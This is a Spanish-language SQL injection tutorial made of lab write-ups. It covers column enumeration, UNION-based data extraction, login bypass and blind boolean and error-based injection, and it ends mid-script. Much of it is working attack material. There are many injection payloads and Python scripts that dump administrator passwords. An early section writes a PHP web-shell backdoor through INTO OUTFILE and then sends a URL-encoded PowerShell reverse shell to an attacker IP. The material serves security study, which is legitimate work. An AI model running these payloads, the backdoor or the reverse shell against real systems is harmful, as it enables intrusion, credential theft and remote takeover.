Atacando la vulnerabilidad SQLi

Enumerando la DB

Cuando tenemos una SQLi, podemos enumerar la DB, pero para lograr esto, necesitamos la informacion de las columnas y nombres de las tablas si es que queremos extraer informacion de estos.

Enumeración del número de columnas

Podemos usar un order by para hacer una enumeración simple. Esto le dice a la DB que ordene los resultados de la query por el valor del resultado en una o más columnas. Se puede usar el nombre de las columnas o el index en la query:

http://192.168.216.10/debug.php?id=1 order by 1

Esta query le indica a la DB que ordene los resultados en base al valor de la primera columna. Si se tiene al menos una columna, se enviará la información sin errores:

Entendiendo el layout de la salida

Podemos usar la declaración UNION para extraer data, en base a la cantidad de columnas de la tabla. UNIONpermite agregar una segunda declaración select a la query original, extendiendo nuestra capacidad (cada declaración debe retornar la misma cantidad de columnas).

Lo primero es validar qué columnas son mostradas en la página.

Como ya sabemos la cantidad de columnas que se tienen, es necesario chequear cuales se muestran usando la declaración union all select 1, 2, 3:

La columna 1 no se muestra, la 2 muestra el campo del nombre, y la 3 corresponde a los comentarios (el campo Comentario tiene más espacio, por lo que este es un lugar lógico para la salida de nuestro futuro exploit).

Extrayendo data desde la DB (MariaDB)

Validamos la versión de la DB reemplazando el campo 3 con lo siguiente @@version:

Ahora lo reemplazamos con user() para obtener el usuario actual de la DB:

Podemos enumerar tablas y columnas de la DB a través de information_schema. Este almacena informacion sobre la DB, como el nombre de las tablas y columnas. Si queremos obtener el nombre de las tablas, se debe usar el siguiente payload table_name from information_schema.tables:

Ahora que tenemos el nombre de las tablas, podemos usar el siguiente payload para obtener los nombres de las columnas column_name from information_schema.columns where table_name='users':

Con esta información podemos llamar las columnas username y password desde la tabla users:

Ejecución de código usando SQLi

Lo primero que se puede intentar al ejecutar código desde la base de datos, es leer archivos usando la función load_file:

http://192.168.216.10/debug.php?id=1 union all select 1, 2, load_file('C:/Windows/System32/drivers/etc/hosts')

Ahora, usando la función INTO OUTFILE, creamos un archivo PHP malicioso, con el cual, podremos ejecutar código:

http://192.168.216.10/debug.php?id=1 union all select 1, 2, "<?php echo shell_exec($_GET['cmd']); ?>" into OUTFILE 'c:/xampp/htdocs/backdoor.php'

Con el siguiente payload, obtenemos una full shell:

http://192.168.216.10/backdoor.php?cmd=powershell%20-nop%20-c%20%22%24client%20%3D%20New-Object%20System.Net.Sockets.TCPClient%28%27192.168.119.216%27%2C4444%29%3B%24stream%20%3D%20%24client.GetStream%28%29%3B%5Bbyte%5B%5D%5D%24bytes%20%3D%200..65535%7C%25%7B0%7D%3Bwhile%28%28%24i%20%3D%20%24stream.Read%28%24bytes%2C%200%2C%20%24bytes.Length%29%29%20-ne%200%29%7B%3B%24data%20%3D%20%28New-Object%20-TypeName%20System.Text.ASCIIEncoding%29.GetString%28%24bytes%2C0%2C%20%24i%29%3B%24sendback%20%3D%20%28iex%20%24data%202%3E%261%20%7C%20Out-String%20%29%3B%24sendback2%20%3D%20%24sendback%20%2B%20%27PS%20%27%20%2B%20%28pwd%29.Path%20%2B%20%27%3E%20%27%3B%24sendbyte%20%3D%20%28%5Btext.encoding%5D%3A%3AASCII%29.GetBytes%28%24sendback2%29%3B%24stream.Write%28%24sendbyte%2C0%2C%24sendbyte.Length%29%3B%24stream.Flush%28%29%7D%3B%24client.Close%28%29%22

SQLi en la cláusula WHERE, permitiendo obtener datos ocultos

Se tiene una aplicación con una vulnerabilidad de SQLi en el filtro de la categoría de productos.

El ejemplo de la query que se realiza a la DB es la siguiente:

SELECT * FROM products WHERE category = 'Gifts' AND released = 1

En este caso, debemos desplegar todos los productos de cualquier categoría.

Validamos que nos despliega la aplicación cuando seleccionamos una categoría:

Ahora, modificamos el valor de la categoría por una comilla simple ('):

Al modificar este valor, se presenta un error en la aplicación. Esto se puede deber a que modificamos la query a algo similar a lo siguiente:

SELECT * FROM products WHERE category = ''' AND released = 1

Usamos el siguiente payload '-- - para validar si aún se presenta el mismo error:

SELECT * FROM products WHERE category = ''-- -' AND released = 1

Si queremos obtener todos los productos, debemos crear una query donde, se valide algún parámetro como verdadero, por lo tanto, usaremos el siguiente payload ' or 1=1 -- -:

SELECT * FROM products WHERE category = '' or 1=1 -- -' AND released = 1

Para poder automatizar esto, podemos usar el siguiente script, el cual, valida si se refleja algún producto que no aparece en el catálogo en producción:

#!/usr/bin/python3
import requests
import sys

requests.packages.urllib3.disable_warnings()

def exploit_sqli(url, payload):
    uri = '/filter?category='
    r = requests.get(url + uri + payload, verify=False)

    if 'Cheshire Cat Grin' in r.text:
        return True
    else:
        return False

def main():
    try:
        url = sys.argv[1].strip()
        payload = sys.argv[2].strip()
        
    except IndexError:
        print('[*] Usage: %s <url> <payload>' %(sys.argv[0]))
        print('[*] Example: %s www.test.com "or 1=1"' %(sys.argv[0]))
        sys.exit(1)

    if exploit_sqli(url, payload):
        print('[+] SQL injection successful!')
    else:
        print('[-] SQL injection unsuccessful!')

if __name__ == '__main__':
    main()

SQLi que permita realizar bypass de login

Se tiene la vulnerabilidad en la funcionalidad de login, en la cual, debemos acceder a la aplicación usando el usuario administrator.

Se validan usuarios de prueba, como admin y password admin:

Vemos que el error no nos permite enumerar usuarios.

Inyectamos una comilla simple (') en las casillas de usuario y en la de password, y vemos que la aplicación responde con un error en ambos casos:

En este caso podemos asumir que la query es la siguiente:

SELECT user FROM users WHERE username = 'administrator' and password = 'password'

Intentamos ingresar usando el siguiente payload admin' -- -:

Como el usuario admin no existe, no podemos ingresar, por lo tanto, lo modificamos ingresando el usuario administrator:

Ahora, automatizamos este proceso usando el siguiente script, donde, lo primero es validar como se envían los datos. Esto se puede corroborar usando Burp Suite.

Ya sabiendo como se envían los datos, necesitamos obtener el valor del token CSRF:

El script valida que se tenga en la respuesta el texto Log out:

#!/usr/bin/python3
import requests
import sys
from bs4 import BeautifulSoup

requests.packages.urllib3.disable_warnings()

def get_csrf_token(s, url):
    r = s.get(url, verify=False)
    soup = BeautifulSoup(r.text, 'html.parser')
    csrf = soup.find('input')['value']
    print('[*] CSRF Token: %s' %(csrf))
    return csrf

def exploit_sqli(s, url, payload):
    csrf = get_csrf_token(s, url)
    data = {'csrf': csrf,
            'username': payload,
            'password': 'password'}

    r = s.post(url, data=data, verify=False)

    if 'Log out' in r.text:
        return True
    else:
        return False

def main():
    try:
        url = sys.argv[1].strip()
        payload = sys.argv[2].strip()
        
    except IndexError:
        print('[*] Usage: %s <url> <payload>' %(sys.argv[0]))
        print('[*] Example: %s www.test.com "or 1=1"' %(sys.argv[0]))
        sys.exit(1)

    s = requests.Session()

    if exploit_sqli(s, url, payload):
        print('[+] SQL injection successful! It was possible to logged in as the administrator user.')
    else:
        print('[-] SQL injection unsuccessful!')

if __name__ == '__main__':
    main()

Ataque de SQLi usando UNION para determinar las columnas retornadas por la query

Se tiene una aplicación con una vulnerabilidad de SQLi en el filtro de la categoría de productos, en la cual, se debe determinar la cantidad de columnas retornadas por la DB.

Si modificamos la categoría con una comilla simple ('), se nos muestra el siguiente error:

Ahora, al payload le agregamos un comentario para evitar el error ' -- -:

Para este ataque, podemos usar formas para obtener la cantidad de columnas, poder usar valores NULL, u ORDER BY.

Primero validamos usando valores NULL, donde, tendremos el número de columnas cuando la aplicación deje de mostrar error:

  • Payloads:

' UNION SELECT NULL-- -
' UNION SELECT NULL, NULL-- -
' UNION SELECT NULL, NULL, NULL-- -

Vemos que se retornan 3 columnas. Esto se puede obtener usando ORDER BY, donde, cuando se nos presente un error, significa que nos pasamos de la cantidad de columnas de la respuesta:

  • Payloads:

' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
' ORDER BY 4-- -

Esto lo podemos automatizar usando el siguiente script, el cual, valida la cantidad de columnas usando ORDER BY:

#!/usr/bin/python3
import requests
import sys

requests.packages.urllib3.disable_warnings()

def exploit_sqli(url):
    uri = '/filter?category=Gifts'
    for i in range(1, 50):
        payload = "'+ORDER+BY+%s--+-" %i
        r = requests.get(url + uri + payload, verify=False)

        if 'Internal Server Error' in r.text:
            return i - 1
        i = i + 1
    return False

def main():
    try:
        url = sys.argv[1].strip()
        
    except IndexError:
        print('[*] Usage: %s <url>' %(sys.argv[0]))
        print('[*] Example: %s www.test.com' %(sys.argv[0]))
        sys.exit(1)

    print('[+] Figuring out number of columns...')
    num_col = exploit_sqli(url)

    if num_col:
        print('[+] The number of columns is ' + str(num_col) + '.')
    else:
        print('[-] SQL injection unsuccessful!')

if __name__ == '__main__':
    main()

Ataque de SQLi usando UNION para encontrar la columna que contiene texto

Se tiene una aplicación con una vulnerabilidad de SQLi en el filtro de la categoría de productos, en la cual, se debe determinar cuál columna retornada por la DB tiene string como tipo de datos.

Si modificamos la categoría con una comilla simple ('), se nos muestra el siguiente error:

Debemos determinar la cantidad de columnas, esto lo podemos usar con ORDER BY:

  • Payloads:

' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
' ORDER BY 4-- -

Ahora, debemos identificar el tipo de datos de cada uno de ellos, usando las siguientes combinaciones de payloads. Cuando se detecte el valor correcto, no se presentará un error en la respuesta:

' UNION SELECT 'a', NULL, NULL-- -
' UNION SELECT NULL, 'a', NULL-- -
' UNION SELECT NULL, NULL, 'a'-- -

Vemos que la segunda columna usa el tipo de datos string.

Esto lo podemos automatizar usando el siguiente script:

#!/usr/bin/python3
import requests
import sys

requests.packages.urllib3.disable_warnings()

def exploit_sqli(url, uri):
    for i in range(1, 50):
        payload = "'+ORDER+BY+%s--+-" %i
        r = requests.get(url + uri + payload, verify=False)

        if 'Internal Server Error' in r.text:
            return i - 1
        i = i + 1
    return False

def exploit_sqli_string_field(url, uri, num_col):
    for i in range(1, num_col + 1):
        string = "'AsDfG123'"
        payload_list = ['NULL'] * num_col
        payload_list[i - 1] = string
        sqli_payload = "' UNION SELECT " + "," .join(payload_list) + "-- -"

        r = requests.get(url + uri + sqli_payload, verify=False)
        if string.strip('\'') in r.text:
            return i

    return False

def main():
    try:
        url = sys.argv[1].strip()
    except IndexError:
        print('[*] Usage: %s <url>' %(sys.argv[0]))
        print('[*] Example: %s www.test.com' %(sys.argv[0]))
        sys.exit(1)

    uri = '/filter?category='

    print('[+] Figuring out number of columns...')
    num_col = exploit_sqli(url, uri)

    if num_col:
        print('[+] The number of columns is ' + str(num_col) + '.')
        print('[+] Figuring out which column contains text...')

        string_column = exploit_sqli_string_field(url, uri, num_col)
        if string_column:
            print('[+] The column ' + str(string_column) + ' contains text.')
        else:
            print('[-] SQL injection was unsuccessful in identifying the data type of columns')
    else:
        print('[-] SQL injection unsuccessful!')

if __name__ == '__main__':
    main()

Ataque de SQLi usando UNION para obtener información de otras tablas

Se tiene una aplicación con una vulnerabilidad de SQLi en el filtro de la categoría de productos, en la cual, se debe obtener información de la tabla users, columnas username y password.

Si modificamos la categoría con una comilla simple ('), se nos muestra el siguiente error:

Debemos determinar la cantidad de columnas, esto lo podemos usar con ORDER BY:

  • Payloads:

' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -

Ahora, debemos identificar el tipo de datos de cada una de las columnas, usando las siguientes combinaciones de payloads. Cuando se detecte el valor correcto, no se presentará un error en la respuesta:

' UNION SELECT 'a', NULL-- -
' UNION SELECT NULL, 'a'-- -

En este caso, ambas columnas usan strings.

Por último, obtenemos los datos solicitados, y accedemos usando la cuenta del usuario administrator:

' UNION SELECT username, password FROM users-- -

La obtención de la contraseña del usuario administrator lo podemos automatizar usando el siguiente script:

#!/usr/bin/python3
import requests
import sys
from bs4 import BeautifulSoup

requests.packages.urllib3.disable_warnings()

def exploit_sqli(url, uri):
    sql_payload = "'+UNION+SELECT+username,+password+FROM+users--+-"
    
    r = requests.get(url + uri + sql_payload, verify=False)
    
    if 'administrator' in r.text:
        print('[+] Found the administrator password.')
        soup = BeautifulSoup(r.text, 'html.parser')
        admin_password = soup.body.find(string='administrator').parent.findNext('td').contents[0]
        print('[*] administrator:%s' %(admin_password))
        return True
    return False

def main():
    try:
        url = sys.argv[1].strip()
    except IndexError:
        print('[*] Usage: %s <url>' %(sys.argv[0]))
        print('[*] Example: %s www.test.com' %(sys.argv[0]))
        sys.exit(1)

    uri = '/filter?category='

    print('[+] Dumping the list of usernames and passwords...')

    if not exploit_sqli(url, uri):
        print('[-] SQL injection unsuccessful!')

if __name__ == '__main__':
    main()

Ataque de SQLi usando UNION, recuperando múltiples valores en una sola columna

Se tiene una aplicación con una vulnerabilidad de SQLi en el filtro de la categoría de productos, en la cual, se debe obtener información de la tabla users, columnas username y password.

Si modificamos la categoría con una comilla simple ('), se nos muestra el siguiente error:

Debemos determinar la cantidad de columnas, esto lo podemos usar con ORDER BY:

  • Payloads:

' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -

Ahora, debemos identificar el tipo de datos de cada uno de ellos, usando las siguientes combinaciones de payloads. Cuando se detecte el valor correcto, no se presentará un error en la respuesta:

' UNION SELECT 'a', NULL-- -
' UNION SELECT NULL, 'a'-- -

Ahora debemos saber la versión de la DB para poder determinar qué tipo de concatenación podemos usar:

' UNION SELECT NULL, version()-- -

Ya sabemos que usa una DB en PostgreSQL, por lo tanto, podemos concatenar los datos que necesitamos usando el siguiente payload:

' UNION SELECT NULL, username||':'||password FROM users-- -

Esto lo podemos automatizar usando el siguiente script:

#!/usr/bin/python3
import requests
import sys
import re
from bs4 import BeautifulSoup

requests.packages.urllib3.disable_warnings()

def exploit_sqli(url, uri):
    sql_payload = "'+UNION+SELECT+NULL,+username||':'||password+FROM+users--+-"
    
    r = requests.get(url + uri + sql_payload, verify=False)
    
    if 'administrator' in r.text:
        print('[+] Found the administrator password.')
        soup = BeautifulSoup(r.text, 'html.parser')
        admin_password = soup.body.find(string=re.compile('.*administrator*'))
        print('[*] %s' %(admin_password))
        return True
    return False

def main():
    try:
        url = sys.argv[1].strip()
    except IndexError:
        print('[*] Usage: %s <url>' %(sys.argv[0]))
        print('[*] Example: %s www.test.com' %(sys.argv[0]))
        sys.exit(1)

    uri = '/filter?category='

    print('[+] Dumping the list of usernames and passwords...')

    if not exploit_sqli(url, uri):
        print('[-] SQL injection unsuccessful!')

if __name__ == '__main__':
    main()

Ataque de SQLi usando UNION, consultando el tipo y la versión de la base de datos en Oracle

Se tiene una aplicación con una vulnerabilidad de SQLi en el filtro de la categoría de productos, en la cual, se debe obtener información de la versión de la DB.

Si modificamos la categoría con una comilla simple ('), se nos muestra el siguiente error:

Debemos determinar la cantidad de columnas, esto lo podemos usar con ORDER BY:

  • Payloads:

' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -

Ahora, debemos identificar el tipo de datos de cada uno de ellos, usando las siguientes combinaciones de payloads. Cuando se detecte el valor correcto, no se presentará un error en la respuesta:

' UNION SELECT 'a', NULL-- -
' UNION SELECT NULL, 'a'-- -

Vemos que no funciona de la forma habitual, y esto se debe a que la DB en uso es Oracle (basado en los requerimientos del lab). Para esto, debemos especificar la tabla que queremos consumir, y para esto, usamos la tabla DUAL:

' UNION SELECT 'a', 'a' FROM DUAL-- -

Con esto ya podemos obtener información de la versión de la DB:

' UNION SELECT 'a', banner FROM v$version-- -

Esto lo podemos automatizar usando el siguiente script:

#!/usr/bin/python3
import requests
import sys
import re
from bs4 import BeautifulSoup

requests.packages.urllib3.disable_warnings()

def exploit_sqli(url, uri):
    sql_payload = "'+UNION+SELECT+banner,+NULL+FROM+v$version--+-"
    
    r = requests.get(url + uri + sql_payload, verify=False)
    
    if 'Oracle Database' in r.text:
        print('[+] Found the database version.')
        soup = BeautifulSoup(r.text, 'html.parser')
        db_version = soup.body.find(string=re.compile('.*Oracle\sDatabase*'))
        print('[*] The Oracle database version is: %s' %(db_version))
        return True
    return False

def main():
    try:
        url = sys.argv[1].strip()
    except IndexError:
        print('[*] Usage: %s <url>' %(sys.argv[0]))
        print('[*] Example: %s www.test.com' %(sys.argv[0]))
        sys.exit(1)

    uri = '/filter?category='

    print('[+] Dumping the version of the database...')

    if not exploit_sqli(url, uri):
        print('[-] SQL injection unsuccessful!')

if __name__ == '__main__':
    main()

Ataque de SQLi usando UNION, consultando el tipo y la versión de la base de datos en MySQL

Se tiene una aplicación con una vulnerabilidad de SQLi en el filtro de la categoría de productos, en la cual, se debe obtener información de la versión de la DB.

Si modificamos la categoría con una comilla simple ('), se nos muestra el siguiente error:

Debemos determinar la cantidad de columnas, esto lo podemos usar con ORDER BY:

  • Payloads:

' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -

Ahora, debemos identificar el tipo de datos de cada uno de ellos, usando las siguientes combinaciones de payloads. Cuando se detecte el valor correcto, no se presentará un error en la respuesta:

' UNION SELECT 'a', NULL-- -
' UNION SELECT NULL, 'a'-- -

Con esto ya podemos obtener información de la versión de la DB:

' UNION SELECT NULL, @@version-- -

Esto lo podemos automatizar usando el siguiente script:

#!/usr/bin/python3
import requests
import sys
import re
from bs4 import BeautifulSoup

requests.packages.urllib3.disable_warnings()

def exploit_sqli(url, uri):
    sql_payload = "'+UNION+SELECT+NULL,+@@version--+-"
    
    r = requests.get(url + uri + sql_payload, verify=False)
    
    soup = BeautifulSoup(r.text, 'html.parser')
    db_version = soup.find(string=re.compile('.*\d{1,2}\.\d{1,2}\.\d{1,2}.*'))
    if db_version is None:
        return False
    else:
        print('[*] The MySQL database version is: %s' %(db_version))
        return True

def main():
    try:
        url = sys.argv[1].strip()
    except IndexError:
        print('[*] Usage: %s <url>' %(sys.argv[0]))
        print('[*] Example: %s www.test.com' %(sys.argv[0]))
        sys.exit(1)

    uri = '/filter?category='

    print('[+] Dumping the version of the database...')

    if not exploit_sqli(url, uri):
        print('[-] Unable to dump the database version.!')

if __name__ == '__main__':
    main()

Ataque de SQLi usando UNION, listando el contenido de la DB en base de datos no Oracle

Se tiene una aplicación con una vulnerabilidad de SQLi en el filtro de la categoría de productos, en la cual, se debe obtener información de la tabla que contiane los usuarios y contraseñas.

Si modificamos la categoría con una comilla simple ('), se nos muestra el siguiente error:

Debemos determinar la cantidad de columnas, esto lo podemos usar con ORDER BY:

  • Payloads:

' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -

Ahora, debemos identificar el tipo de datos de cada uno de ellos, usando las siguientes combinaciones de payloads. Cuando se detecte el valor correcto, no se presentará un error en la respuesta:

' UNION SELECT 'a', NULL-- -
' UNION SELECT NULL, 'a'-- -

Con el siguiente payload obtenemos la versión de la DB:

' UNION SELECT NULL, version()-- -

Ahora, obtenemos las tablas de la DB:

' UNION SELECT NULL, table_name FROM information_schema.tables-- -

Referencia.

Sabemos que el nombre de la tabla que contiene los usuarios es users_vvdspp, por lo tanto, podemos obtener las columnas de esta tabla:

' UNION SELECT NULL, column_name FROM information_schema.columns WHERE table_name = 'users_vvdspp'-- -

Con estos datos, podemos extraer la información que necesitamos:

' UNION SELECT username_aoessn, password_hwpmpd FROM users_vvdspp-- -

Esto lo podemos automatizar usando el siguiente script:

#!/usr/bin/python3
import requests
import sys
import re
from bs4 import BeautifulSoup

requests.packages.urllib3.disable_warnings()

def perform_request(url, sql_payload):
    uri = '/filter?category='
    r = requests.get(url + uri + sql_payload, verify=False)
    return r.text

def sqli_users_table(url):
    sql_payload = "'+UNION+SELECT+NULL,+table_name+FROM+information_schema.tables--+-"

    res = perform_request(url, sql_payload)

    soup = BeautifulSoup(res, 'html.parser')
    db_tables = soup.find(string=re.compile('.*users.*'))
    if db_tables:
        return db_tables
    else:
        return False

def sqli_users_columns(url, users_table):
    sql_payload = "'+UNION+SELECT+NULL,+column_name+FROM+information_schema.columns+WHERE+table_name+=+'%s'--+-" %(users_table)

    res = perform_request(url, sql_payload)

    soup = BeautifulSoup(res, 'html.parser')
    username_column = soup.find(string=re.compile('.*username.*'))
    password_column = soup.find(string=re.compile('.*password.*'))
    if username_column and password_column:
        return username_column, password_column
    else:
        return False

def sqli_administrator_cred(url, users_table, username_column, password_column):
    sql_payload = "'+UNION+SELECT+%s,+%s+FROM+%s--+-" %(username_column, password_column, users_table)

    res = perform_request(url, sql_payload)

    soup = BeautifulSoup(res, 'html.parser')
    admin_cred = soup.body.find(string="administrator").parent.findNext('td').contents[0]
    if admin_cred:
        return admin_cred
    else:
        return False

def main():
    try:
        url = sys.argv[1].strip()
    except IndexError:
        print('[*] Usage: %s <url>' %(sys.argv[0]))
        print('[*] Example: %s www.test.com' %(sys.argv[0]))
        sys.exit(1)

    print('[+] Looking for users table...')
    users_table = sqli_users_table(url)
    if users_table:
        print('[+] User table name: %s' %(users_table))

        username_column, password_column = sqli_users_columns(url, users_table)
        if username_column and password_column:
            print('[+] Username column name: %s' %(username_column))
            print('[+] Password column name: %s' %(password_column))

            admin_password = sqli_administrator_cred(url, users_table, username_column, password_column)
            if admin_password:
                print('[+] Cred: "administrator:%s"' %(admin_password))
            else:
                print('[-] Did not find the administrator password.')
        else:
            print('[-] Did not find the username and/or password columns.')
    else:
        print('[-] Did not find a users table.')

if __name__ == '__main__':
    main()

Ataque de SQLi usando UNION, listando el contenido de la DB en base de datos Oracle

Se tiene una aplicación con una vulnerabilidad de SQLi en el filtro de la categoría de productos, en la cual, se debe obtener información de la tabla que contiane los usuarios y contraseñas.

Si modificamos la categoría con una comilla simple ('), se nos muestra el siguiente error:

Debemos determinar la cantidad de columnas, esto lo podemos usar con ORDER BY:

  • Payloads:

' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -

Ahora, debemos identificar el tipo de datos de cada uno de ellos, usando las siguientes combinaciones de payloads. Cuando se detecte el valor correcto, no se presentará un error en la respuesta:

' UNION SELECT 'a', NULL FROM DUAL-- -
' UNION SELECT NULL, 'a' FROM DUAL-- -

Con el siguiente payload obtenemos las tablas de la DB:

' UNION SELECT NULL, table_name FROM all_tables-- -

Referencia.

Sabemos que el nombre de la tabla que contiene los usuarios es USERS_YHDUDN, por lo tanto, podemos obtener las columnas de esta tabla:

' UNION SELECT NULL, column_name FROM all_tab_columns WHERE table_name = 'USERS_YHDUDN'-- -

Referencia.

Con estos datos, podemos extraer la información que necesitamos:

' UNION SELECT USERNAME_KCUFMJ, PASSWORD_IPBYMR FROM USERS_YHDUDN-- -

Esto lo podemos automatizar usando el siguiente script:

#!/usr/bin/python3
import requests
import sys
import re
from bs4 import BeautifulSoup

requests.packages.urllib3.disable_warnings()

def perform_request(url, sql_payload):
    uri = '/filter?category='
    r = requests.get(url + uri + sql_payload, verify=False)
    return r.text

def sqli_users_table(url):
    sql_payload = "'+UNION+SELECT+NULL,+table_name+FROM+all_tables--+-"

    res = perform_request(url, sql_payload)

    soup = BeautifulSoup(res, 'html.parser')
    db_tables = soup.find(string=re.compile('^USERS\_.*'))
    if db_tables:
        return db_tables
    else:
        return False

def sqli_users_columns(url, users_table):
    sql_payload = "'+UNION+SELECT+NULL,+column_name+FROM+all_tab_columns+WHERE+table_name+=+'%s'--+-" %(users_table)

    res = perform_request(url, sql_payload)

    soup = BeautifulSoup(res, 'html.parser')
    username_column = soup.find(string=re.compile('.*USERNAME.*'))
    password_column = soup.find(string=re.compile('.*PASSWORD.*'))
    if username_column and password_column:
        return username_column, password_column
    else:
        return False

def sqli_administrator_cred(url, users_table, username_column, password_column):
    sql_payload = "'+UNION+SELECT+%s,+%s+FROM+%s--+-" %(username_column, password_column, users_table)

    res = perform_request(url, sql_payload)

    soup = BeautifulSoup(res, 'html.parser')
    admin_cred = soup.body.find(string="administrator").parent.findNext('td').contents[0]
    if admin_cred:
        return admin_cred
    else:
        return False

def main():
    try:
        url = sys.argv[1].strip()
    except IndexError:
        print('[*] Usage: %s <url>' %(sys.argv[0]))
        print('[*] Example: %s www.test.com' %(sys.argv[0]))
        sys.exit(1)

    print('[+] Looking for users table...')
    users_table = sqli_users_table(url)
    if users_table:
        print('[+] User table name: %s' %(users_table))

        username_column, password_column = sqli_users_columns(url, users_table)
        if username_column and password_column:
            print('[+] Username column name: %s' %(username_column))
            print('[+] Password column name: %s' %(password_column))

            admin_password = sqli_administrator_cred(url, users_table, username_column, password_column)
            if admin_password:
                print('[+] Cred: "administrator:%s"' %(admin_password))
            else:
                print('[-] Did not find the administrator password.')
        else:
            print('[-] Did not find the username and/or password columns.')
    else:
        print('[-] Did not find a users table.')

if __name__ == '__main__':
    main()

Ataque de Blind SQLi con respuestas condicionales

Se tiene una aplicación con una vulnerabilidad de Blind SQLi. Usa una cookie de tracking para análisis, y realiza una query con el valor que esta tenga.

El resultado de la query no es retornada, y no muestra un mensaje de error, pero, la aplicación incluye un mensaje Welcome back en la página si la query retorna alguna fila.

Debemos obtener el usuario y contraseña del usuario administrator, el cual, se encuentra en la tabla users.

Capturamos el request usando Burp Suite, y vemos que tiene las cookies TrackingID y session:

Ingresamos una comilla simple en el valor de la cookie TrackingID para validar si nos presenta un error:

TrackingID=aaaaaaaaaaa'

Ahora, validamos como se comporta con un payload condicional:

TrackingID=aaaaaaaaaaa'+and+1=1--+-
TrackingID=aaaaaaaaaaa'+and+1=2--+-

Cuando el condicional es TRUE, vemos el mensaje Welcome back:

Validamos que existe la tabla users:

TrackingID=aaaaaaaaaaa' AND (SELECT 'x' FROM users LIMIT 1)='x'-- -

Podemos usar los siguientes payloads para corroborar que exista el usuario administrator:

TrackingID=aaaaaaaaaaa' AND (SELECT username FROM users WHERE username='administrator')='administrator'-- -

Si queremos saber la longitud de la password, podemos usar el siguiente payload, el cual, si nos responde con un Welcome back, es la longitud que tiene esta:

TrackingID=aaaaaaaaaaa' AND (SELECT username FROM users WHERE username='administrator' AND LENGTH(password)=30)='administrator'-- -

Para esto, usamos Intruder:

Ahora buscamos los carácteres de la password:

TrackingID=aaaaaaaaaaa' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a'-- -

En este caso, toma el primer carácter y lo iguala a lo que le indiquemos. Si queremos cambiar de carácter a validar, modificamos el primer número.

Esto lo automatizamos usando el ataque de Intruder Cluster bomb:

Con el siguiente script, se puede obtener el mismo resultado:

#!/usr/bin/python3
import requests
import sys
import urllib

requests.packages.urllib3.disable_warnings()

def sqli_password(url, trackingid, session):
    password_extrated = ""

    for i in range(1, 21):
        # The values 32 - 126 are ASCII characters
        for j in range(32, 126):
            payload = "' AND (SELECT ASCII(SUBSTRING(password,%s,1)) FROM users WHERE username='administrator')='%s'-- -" %(i, j)
            payload = urllib.parse.quote(payload)
            c = {'TrackingId': trackingid + payload, 'session': session}
            r = requests.get(url, cookies=c, verify=False)

            if "Welcome back" not in r.text:
                sys.stdout.write('\r' + password_extrated + chr(j))
                sys.stdout.flush()
            else:
                password_extrated += chr(j)
                sys.stdout.write('\r' + password_extrated)
                sys.stdout.flush()
                break

def main():
    try:
        url = sys.argv[1].strip()
        trackingid = sys.argv[2].strip()
        session = sys.argv[3].strip()
    except IndexError:
        print('[*] Usage: %s <url> <TrackingId cookie value> <session cookie value>' %(sys.argv[0]))
        print('[*] Example: %s www.test.com aaaaaaaaaa bbbbbbbbbbb' %(sys.argv[0]))
        sys.exit(1)

    print('[+] Retrieving administrator password...')
    
    sqli_password(url, trackingid, session)

if __name__ == '__main__':
    main()

Ataque de Blind SQLi con errores condicionales

Se tiene una aplicación con una vulnerabilidad de Blind SQLi. Usa una cookie de tracking para análisis, y realiza una query con el valor que esta tenga.

El resultado de la query no es retornada, y solo se muestra un error modificado cuando la query causa alguno.

Debemos obtener el usuario y contraseña del usuario administrator, el cual, se encuentra en la tabla users.

Capturamos el request usando Burp Suite, y vemos que tiene las cookies TrackingId y session:

Si agregamos una comilla simple, vemos un error, mientras que al agregar una segunda, este ya no se muestra:

Validamos si concatenando el siguiente payload, se presenta el error:

' || (select '') || '

Vemos que se presenta un error en una query bien formada, por lo tanto, podemos asumir que es una DB Oracle. Por este motivo, usamos el siguiente payload:

' || (select '' from dual) || '

Con esto identificamos que es una DB Oracle.

Ahora, validamos que la tabla users exista en la DB:

' || (select '' from users) || '

Se presenta un error, y esto se puede deber a que estamos pasando un input vacío, y este se puede esta aplicando a las distintas filas de la tabla, por lo tanto, modificamos el payload para que solo valide solo una entrada:

' || (select '' from users where rownum =1) || '

Sabemos que existe la tabla, ahora corroboramos que exista el usuario administrator:

' || (select '' from users where username='administrator') || '

Como no se presenta un error, sabemos que existe el usuario.

Lo anterior lo podemos obtener usando un payload más complejo, en el cual, se valida la sección del FROM, donde, si el usuario a validar existe, realiza lo que se indica en CASE. Si nos muestra un error, significa que el usuario existe, de lo contrario, no existe:

' || (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users where username='administrator') || '
' || (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users where username='asdasdasdasd') || '

Ya que sabemos que el usuario existe, ahora obtenemos el largo de su contraseña:

' || (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users where username='administrator' and LENGTH(password)=1) || '

La contraseña del usuario administrator es de 20 carácteres.

Ahora enumeramos la contraseña:

' || (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users where username='administrator' and substr(password,1,1)='a') || '

Esto lo podemos automatizar usando el siguiente script:

#!/usr/bin/python3
import requests
import sys
import urllib

requests.packages.urllib3.disable_warnings()

def sqli_password(url, trackingid, session):
    password_extrated = ""

    for i in range(1, 21):
        # The values 32 - 126 are ASCII characters
        for j in range(32, 126):
            payload = "' || (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users where username='administrator' and ascii(substr(password,%s,1))='%s') || '" %(i, j)
            payload = urllib.parse.quote(payload)
            c = {'TrackingId': trackingid + payload, 'session': session}
            r = requests.get(url, cookies=c, verify=False)

            if r.status_code == 500:
                password_extrated += chr(j)
                sys.stdout.write('\r' + password_extrated)
                sys.stdout.flush()
                break
            else:
                sys.stdout.write('\r' + password_extrated + chr(j))
                sys.stdout.flush()

def main():
    try:
